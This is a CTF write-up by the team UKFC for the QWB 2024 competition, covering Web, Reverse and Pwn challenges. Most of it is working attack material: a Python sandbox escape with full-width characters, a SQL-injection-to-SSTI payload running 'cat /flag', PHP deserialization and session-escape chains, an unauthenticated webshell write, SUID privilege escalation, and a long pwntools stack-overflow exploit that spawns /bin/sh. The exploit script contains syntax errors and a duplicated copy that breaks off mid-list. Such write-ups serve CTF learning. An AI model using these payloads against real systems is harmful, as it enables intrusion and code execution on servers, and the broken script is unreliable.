强网杯 2024

UKFC 2024 强网杯 Writeup

比赛成绩

战队名称:UKFC

战队排名:第 77 名

Web

PyBlockly

用全角的符号(unicode 编码)绕过 blacklist_pattern 检测,首尾各加一个引号去闭合,my_audit_hook 处限制了 event_name 个数和 blacklist,用 __builtins__.len=lambda x:0 覆盖 len 为不大于 4 的数即可

ls 一下

1
{<strong>"blocks"</strong>:{<strong>"blocks"</strong>:[{<strong>"type"</strong>:<strong>"text"</strong>,<strong>"fields"</strong>:{<strong>"TEXT"</strong>:<strong>"'</strong>\n<strong>__builtins__﹒len=lambda x:0;__import__('os')﹒system('ls />/tmp/ukfc')</strong>\n<strong>print(open('/tmp/ukfc')﹒read());'"</strong>}}]}}

直接 cat /flag 没权限,suid 提权

1
{<strong>"blocks"</strong>:{<strong>"blocks"</strong>:[{<strong>"type"</strong>:<strong>"text"</strong>,<strong>"fields"</strong>:{<strong>"TEXT"</strong>:<strong>"'</strong>\n<strong>__builtins__﹒len=lambda x:4;__import__('os')﹒system('find / -user root -perm -4000 -print>/tmp/ukfc')</strong>\n<strong>print(open('/tmp/ukfc')﹒read());'"</strong>}}]}}

1
{<strong>"blocks"</strong>:{<strong>"blocks"</strong>:[{<strong>"type"</strong>:<strong>"text"</strong>,<strong>"fields"</strong>:{<strong>"TEXT"</strong>:<strong>"'</strong>\n<strong>__builtins__﹒len=lambda x:4;__import__('os')﹒system('/bin/dd if=/flag>/tmp/ukfc')</strong>\n<strong>print(open('/tmp/ukfc')﹒read());'"</strong>}}]}}

xiaohuanxiong

admin 路由下可以未授权访问和修改内容,直接写个一句话木马进去,根据源码可以找到这个是写到/config/payment.php 里面,可以访问

Snake

写一个脚本去拿到五十分,值得注意的是这里 xy 坐标颠倒,并且不带 cookie 的话最后一步会报 500 错误

snake.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from http.cookiejar import CookieJar
import json
import time
import requests
from solve import solve

aim_url = "http://eci-2ze762llzxw5u6zlscn4.cloudeci1.ichunqiu.com:5000"

food = [0, 0]
snake = [[0, 0]]
cookies = {"session": "eyJ1c2VybmFtZSI6InVrZmMifQ.ZydfPg.QhNexeoopfDvXfF7C1roaBEWoFQ"}
data = {"username": "test"}

def send_http_json(data):  
    response = requests.post(aim_url + "/move", json=data, cookies=cookies)
    re = response.text
    if "win" in re:
        print(re)
        return {}
  
    try:
        return json.loads(re)  # 尝试解析为 JSON
    except json.JSONDecodeError:
        print("Non-JSON response received:", re)  # 输出非 JSON 响应
        return {}  # 返回空字典或适当处理

data = {"direction": "RIGHT"}
res = send_http_json(data)
if res:  # 检查 res 是否包含内容
    food = res.get("food")
    snake = res.get("snake")
    scor = res.get("score", 0)

    ans = ''
    data = {"direction": "RIGHT"}

    while ans != 'game_over' and ans != 'win':
        print("Food position:", food)
        print("Snake position:", snake)
        funclist = solve(snake, food)

        print("Total steps:", len(funclist))
        cnt = 1
        for i in funclist:
            if scor == 49:
                print(res)
            print("\r                      ", end="")
            data.update({"direction": i})
            res = send_http_json(data)
            if not res:
                print("Empty or invalid response, terminating.")
                break
            ans = res.get('status', '')
            print("\rStep:", cnt, end="")
            cnt += 1
            time.sleep(0.05)

        if "score" in res and res["score"] == scor + 1:
            print("-----------PASS-----------")
            scor += 1
            print("Score:", scor)
            food = res["food"]
            snake = res["snake"]
        else:
            print("-----------ERROR-----------")
            print(res)
            break

solve.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from collections import deque

class Snake:
    def __init__(self, snake):
        self.body = deque([])
        for i in snake:
            self.body.append((i[1],i[0]))
        self.length = len(snake)  # 蛇的初始长度
        self.direction = (0, 1)  # 初始方向向上

    def move(self):
        head_x, head_y = self.body[0]
        new_head = (head_x + self.direction[0], head_y + self.direction[1])
        self.body.appendleft(new_head)  # 在头部插入新的位置

        # 如果蛇没有吃到食物,删除尾部
        if len(self.body) > self.length:
            self.body.pop()  # 删除尾部

    def change_direction(self, new_direction):
        # 确保方向不能直接反转
        if (self.direction[0] + new_direction[0] != 0) or (self.direction[1] + new_direction[1] != 0):
            self.direction = new_direction

    def grow(self):
        self.length += 1  # 增长蛇的长度

    def get_body(self):
        return list(self.body)

    def get_head(self):
        return self.body[0]

DIRECTIONS=[(0, 1), (1, 0), (0, -1), (-1, 0)]

def is_valid_move(snake_body, new_pos, grid_size):
    return (0 <= new_pos[0] < grid_size[0] and 
            0 <= new_pos[1] < grid_size[1] and 
            new_pos not in snake_body)  # 不碰撞自身

def bfs_path_planning(snake, target, grid_size):
    queue = deque([snake.get_head()])
    visited = set(snake.get_body())
    parent = {snake.get_head(): None}

    while queue:
        current = queue.popleft()

        if current == target:
            path = []
            while current is not None:
                path.append(current)
                current = parent[current]
            return path[::-1]  # 返回反向路径

        for direction in DIRECTIONS:  # 四个方向
            new_pos = (current[0] + direction[0], current[1] + direction[1])
            if is_valid_move(snake.get_body(), new_pos, grid_size) and new_pos not in visited:
                visited.add(new_pos)
                parent[new_pos] = current
                queue.append(new_pos)

    return None  # 找不到路径
def add(a,b):
    return (a[0]+b[0],a[1]+b[1])
# 示例使用
def solve(snakelist , foodlist):
    grid_size = (20, 20)  # 网格大小
    snake = Snake(snakelist)
  
    target = (foodlist[1],foodlist[0])

    # 计算路径
    path = bfs_path_planning(snake, target, grid_size)
    # 打印结果
    if path:
        print("找到路径:")
        for i in path:
            print("[",i[1],",",i[0],"]",sep="",end=",")
        print()
    else:
        print("没有找到路径")
    funclist = []
    for i in range(len(path)-1):
        if (add(path[i],DIRECTIONS[0]) == path[i+1]):
            funclist.append("RIGHT")
        elif(add(path[i],DIRECTIONS[1]) == path[i+1]):
            funclist.append("DOWN")
        elif(add(path[i],DIRECTIONS[2]) == path[i+1]):
            funclist.append("LEFT")
        elif(add(path[i],DIRECTIONS[3]) == path[i+1]):
            funclist.append("UP")
    return funclist
if __name__ =="__main__":
    foodlist=[3, 3]
    snakelist=[[9, 10], [9, 11], [9, 12], [9, 13], [10, 13], [11, 13], [12, 13], [12, 12], [12, 11], [12, 10], [12, 9], [12, 8], [11, 8], [10, 8], [9, 8], [8, 8], [8, 9], [8, 10], [8, 11], [8, 12], [8, 13], [8, 14], [8, 15], [8, 16], [8, 17], [7, 17], [6, 17], [6, 18], [7, 18], [8, 18]]
    solve(snakelist , foodlist)

爆出来路由/snake_win?username=,一眼注入,Sqli to SSTI

1
2
3
4
5
6
7
/snake_win?<strong>username</strong>=<strong>1'+union+select+1,2,"</strong><strong>
{
{
    </strong>self.__init__.__globals__.__builtins__['__import__']('os').<strong>popen(</strong><strong>'cat+/flag'</strong><strong>)</strong>.<strong>read()
}
}
</strong><strong>"--+</strong>

Proxy

Password Game

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

headers = {
    'Host': 'eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua': '"Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com/index.php',
    'Origin': 'http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com',
    'Priority': 'u=0, i',
    'Cookie': 'PHPSESSID=tuonq8vj283dhvvbi6cke0dkjo',
    'sec-ch-ua-platform': '"Windows"',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
}

data2 = {'password': 'Aa917855555'}
response2 = requests.post('http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com/game.php', headers=headers, data=data2)

raw_content = response2.content
print("Raw response content:", raw_content)

拿到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}
1
<strong>password</strong>=<strong>O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"2024\71wb";s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}88831883250887</strong>

platform

爆破目录,发现 www.zip,解压之后拿到源代码。

对源代码进行分析之后,考虑利用点应该是 session 反序列化。

在 class.php 当中发现后门类

在本地调试,观察 session 序列化字符串的结构。

考虑,将 password 部分写入反序列化利用链,触发后门函数。

例如,在 password 当中输入。

“;password|s:74:”";password|O:15:“notouchitsclass”:1:{s:4:“data”;s:14:“echo whoami;”;}

这时,本地 session 将变成。

user|s:5:“admin”;session_key|s:35:“bnKNfuoXL233EOPFgJXs54nSzl4dkJNK754”;password|s:88:"";password|s:74:"";password|O:15:“notouchitsclass”:1:{s:4:“data”;s:14:“echo whoami;”;}";

要想写入的内容在反序列化时被触发,这要构造 username 当中的内容实现字符逃逸,将无关字符作为 username 当中的内容,而把后边的利用链逃逸出来。

无关内容,如上所示,然后计算无关内容的长度,借助函数当中过滤掉的关键词进行逃逸。

但是,在靶机当中会生成一个长度随机的 session_key 作为干扰,但是 session_key 的长度处于 1-50 之间,因此我们可以假定 session_key 的长度,而后进行爆破。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests
data = {
  'username':'systemsystemsystemsystemsystemsystemsystemsystempopenpopen',
  #'password': '''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami;";}''',
  #'password':'''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo ls /;";}'''
  'password':'''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"echo /readflag;";}'''
}

while True:
    s = requests.session()
    r1 = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/index.php', data=data, allow_redirects=False)
    r2 = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/index.php',  data=data,allow_redirects=False)
    r = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/dashboard.php', allow_redirects=False)
    print(r.text)

Reverse

bbox

14 张地图,先 ida dump 得到 map:

太多了,只贴第一张地图:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
11111111111111111111
11111111111111111111
11411111111111111111
11030011111111111111
11011011111111111111
00000211111111111111
11101111111111111111
11101111111111111111
01100110001000100010
01000000001000100010
01000000001000111110
01111111111000000010
00000000001000000010
00001111111000111110
00001000001000100010
01111000001000100010
01000000001111100010
01000000000000000010
01000000001111100010
01000000000000000010

分析逻辑,通过 wsad 控制“2”的上下左右,“3”是箱子,“4”是目的地

题目只需要箱子的最短路格数,依次手推得到:

2,12,13,9,21,13,25,31,3

后四张图就是题目所说的四个字符即:qwb!

那么 flag:

flag{qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9}

斯内克

新的附件很好看 稍微 patch 一下时间就可以手玩

魔改的 xtea

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <stdio.h>
#include <stdint.h>

//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
    for (i = 0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0; v[1] = v1;
}

//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta*num_rounds;
    for (i = 0; i < 32; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0; v[1] = v1;
}

int main()
{
    // v为要加解密的数据,两个32位无符号整数
    char v17[16];
    v17[0] = 0x98;
    v17[1] = 0xA0;
    v17[2] = 0xD9;
    v17[3] = 0x98;
    v17[4] = 0xBA;
    v17[5] = 0x97;
    v17[6] = 0x1B;
    v17[7] = 0x71;
    v17[8] = 0x9B;
    v17[9] = 0x81;
    v17[10] = 0x44;
    v17[11] = 0x2F;
    v17[12] = 0x55;
    v17[13] = 0xB8;
    v17[14] = 0x37;
    v17[15] = 0xDF;
    uint32_t v[2];
    uint32_t p[2];
    v[0] = *(uint32_t*)v17;
    v[1] = *(uint32_t*)(v17 + 4);
    p[0] = *(uint32_t*)(v17 + 8);
    p[1] = *(uint32_t*)(v17 + 12);
    char v18[16]="W31c0m3. 2 QWBs8";
  
    // k为加解密密钥,4个32位无符号整数,密钥长度为128位
    uint32_t k[4] ;
    k[0] = *(uint32_t*)v18;
    k[1] = *(uint32_t*)(v18 + 4);
    k[2] = *(uint32_t*)(v18 + 8);
    k[3] = *(uint32_t*)(v18 + 12);
    int n = sizeof(v) / sizeof(uint32_t);
    // num_rounds,建议取值为32
    unsigned int r = 32;
  
    p[0]^=v[1];
    p[1]^=v[0];
    v[1]^=p[1];
    v[0]^=p[0];
    decrypt(r,v, k);
    r = 64;
    // printf("%s\n",k);
    decrypt(r,p, k);
    // p[0]^=v[1];
    // p[1]^=v[0];
    // v[1]^=p[1];
    // v[0]^=p[0];
  
  

    for (int i = 0; i < n; i++)
    {
        for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
        {
            printf("%c", (v[i] >> (j * 8)) & 0xFF);
        }
    }

    for (int i = 0; i < n; i++)
    {
        for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
        {
            printf("%c", (p[i] >> (j * 8)) & 0xFF);
        }
    }

    printf("\n");
    return 0;
}

Pwn

expect_number

先看看保护,发现经典全开

放进 ida 卡看一下发现是 c++ ,并且有后门,查了一下发现是 c++ 的异常处理

看看功能函数,发现会执行 off_5010 指向的地址里的东西,在调试的过程中发现 off_5010 指向 0x5520 的位置

进入 continue 函数,传入的参数是 unk_5640,unk_5400,unk_5520。发现该函数能修改 0x5400 地址里的值,能进行 0x288。如果能持续输入 276 次就能覆盖到 0x5520 的位置,从而劫持执行流。但是只能输入 0,1,2,所以这个不好控制地址。但是这个函数实际能一次性覆盖两个字节,后一字节是能控制的。而且作为控制执行 /,*,+,- 的参数 filed_c 是个伪随机数,生成的顺序的固定的,因此我们能任意修改一个字节地址

在 0x5520 指向的地址中单修改一个字节去指向另一个函数从而劫持执行流,发现在 0x100 的范围内有好几个函数,通过多次尝试之后,找到了一个函数 0x2984

在这个函数中有一个栈溢出,输入长度超过 8 字节后就会执行接下来的处理异常的操作,正好能让我们去实现执行后门函数的操作。将返回地址改为后门函数上面的地址就能执行 system("/bin/sh")

第一次接触,正好搜到了 https://xz.aliyun.com/t/15461?time__1311=GqjxnDuAqYq05DK5YK0%3DYYxRDcAfaNT4D#toc-4

EXP:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

filename = './expect_number'

ifremote=1
if ifremote==1:
    io=remote('39.106.54.211', 39111)
else:
    io=process(filename)

elf = ELF(filename)
libc = elf.libc
#libc=ELF("./libc-2.23.so")
def dbg():
    gdb.attach(io)
    pause()

s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x , y : io.sendafter(x , y)
sla = lambda x , y : io.sendlineafter(x , y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda x : io.recvline(x)
inter = lambda : io.interactive()

#dbg()

def cmd(idx):
    sla(b'>> waiting for your choice \n',str(idx))

idx=1
def game(content):
    global idx
    cmd(1)
    sla(b'>> Which one do you choose? 2 or 1 or 0',content)
    print("idx=======>",idx)
    idx+=1
def show():
    cmd(2)

def submit():
    cmd(3)

game(b'1')
game(b'2')
game(b'0')
game(b'1')
game(b'0')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'0')
game(b'0')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1') 
game(b'1')
game(b'1') 
game(b'1')  
game(b'1')   
game(b'1')   
game(b'1')
game(b'1')
game(b'1')
game(b'1')  
game(b'1')  
game(b'0')  
game(b'0') 
game(b'1')
game(b'1') 
game(b'1')   
game(b'1')   
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')
game(b'1') 
game(b'1') 
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')   
game(b'0')  
game(b'1')
game(b'1') 
game(b'1')  
game(b'1')   
game(b'1')
game(b'1')
game(b'0') 
game(b'0')   
game(b'1')  
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')
game(b'1')   
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')  
game(b'1')
game(b'1') 
game(b'1') 
game(b'1')   
game(b'1')   
game(b'1')   
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')
game(b'1')   
game(b'1')   
game(b'1') 
game(b'1')  
game(b'1')   
game(b'1')   
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')
game(b'1') 
game(b'1')   
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')
game(b'1') 
game(b'1')   
game(b'1')  
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')
game(b'1')
game(b'1') 
game(b'1') 
game(b'1')
game(b'1')
game(b'1') 
game(b'1') 
game(b'1')  
game(b'1') 
game(b'1')
game(b'1')  
game(b'1')  
game(b'1') 
game(b'1')   
game(b'1')   
game(b'1')  
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')
game(b'1')
game(b'1') 
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1')
game(b'1' 
game(b'1')  
game(b'1')  
game(b'1')
game(b'1')
game(b'1')
game(b'1')  
game(b'1') 
game(b'1')  
game(b'1') 
game(b'1')
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')  
game(b'1') 
game(b'1')
game(b'1') 
game(b'1')  
game(b'1') 
game(b'1') 
game(b'1')
game(b'1')  
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')  
game(b'1') 
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1') 
game(b'1')  
game(b'1') 
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')  
game(b'1')
game(b'1')
game(b'1') 
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1') 
game(b'1')
game(b'0')
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')  
game(b'1'
game(b'1')
game(b'1')  
game(b'1')   
game(b'1')   
game(b'1')
game(b'1') 
game(b'1')
game(b'1') 
game(b'1')  
game(b'1')  
game(b'1') 
game(b'1') 
game(b'1') 
game(b'1')   
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1')
game(b'1')
game(b'1')
game(b'1'  
game(b'1')
game(b'1')
game(b'1')  
game(b'1')   
game(b'1') 
game(b'2')   
game(b'2')
game(b'1') 
game(b'1')  
game(b'1')   
game(b'1')
game(b'1')
game(b'1')  
game(b'1')  
game(b'1')  
game(b'1')   
game(b'1') 
game(b'1')  
game(b'1')  
game(b'1')
game(b'1')
game(b'1') 
game(b'1')  
game(b'1')  
game(b'2') 
game(b'2')
game(b'2')  
game(b'1')
game(b'1') 
game(b'1')  
game(b'2')
game(b'1')
game(b'1') 
game(b'2') 
game(b'2')#   0x2a+2
game(b'2')  
game(b'2')
game(b'2')
game(b'2') 
game(b'0')  
game(b'0') 
game(b'1')
game(b'1')
game(b'1')

show()
ru(b'120101111001111111111111111111111111111110011111111111111111101111110011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111221111111111111111122211121122222200111')
pie = u64(r(6).ljust(8,b'\x00')) - 0x4c13-0x4d
print("pie=============>",hex(pie))

cmd(4)
payload = p64(0)+p64(0x1321d09b61df000)+p64(0)*2+p64(pie+0x57B0)+p64(pie+0x2517)
sla(b'Tell me your favorite number.\n',payload)
inter()
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

filename = './expect_number'

ifremote=0
if ifremote==1:
    io=remote('39.106.54.211', 39111)
else:
    io=process(filename)

elf = ELF(filename)
libc = elf.libc
#libc=ELF("./libc-2.23.so")
def dbg():
    gdb.attach(io)
    pause()

s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x , y : io.sendafter(x , y)
sla = lambda x , y : io.sendlineafter(x , y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda x : io.recvline(x)
inter = lambda : io.interactive()

dbg()

def cmd(idx):
    sla(b'>> waiting for your choice \n',str(idx))

idx=1
def game(content):
    global idx
    cmd(1)
    sla(b'>> Which one do you choose? 2 or 1 or 0',content)
    print("idx=======>",idx)
    idx+=1
def show():
    cmd(2)

def submit():
    cmd(3)

game(b'1')#1
game(b'2')#2
game(b'0')#3
game(b'1')#4
game(b'0')#5
game(b'1')#6
game(b'1')#7
game(b'1')#8
game(b'1')#9
game(b'0')#10
game(b'0')#11
game(b'1')#12
game(b'1')#13
game(b'1')#14  4
game(b'1')#15  4
game(b'1')#16  3
game(b'1')#17  1 
game(b'1')#18  3
game(b'1')#19  1
game(b'1')#20  1
game(b'1')#21  4
game(b'1')#22   1
game(b'1')#23   4
game(b'1')#24   2   
game(b'1')#25   
game(b'1')#26 
game(b'1')#27  
game(b'1')#28   
game(b'1')#29   
game(b'1')#30  
game(b'1')#31  
game(b'1')#32 
game(b'1')#33  
game(b'1')#34   
game(b'1')#35   
game(b'1')#36  
game(b'1')#37  
game(b'1')#38 
game(b'1')#39 
game(b'1')#40   
game(b'1')#41   
game(b'0')#42  
game(b'0')#43  
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61  
game(b'0')#62  
game(b'1')#63
game(b'1')#64  
game(b'1')#65   
game(b'1')#66   
game(b'1')#67 
game(b'1')#44 
game(b'0')#45  
game(b'0')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61 
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61   
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61  
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61 
game(b'1')#44 
game(b'1')#45  
game(b'1')#46   
game(b'1')#47   
game(b'1')#48   
game(b'1')#49  
game(b'1')#50  
game(b'1')#51
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
game(b'1')#58   
game(b'1')#59   
game(b'1')#60   
game(b'1')#61 
game(b'1')#52  
game(b'1')#53   
game(b'1')#54   
game(b'1')#55 
game(b'1')#56 
game(b'1')#57  
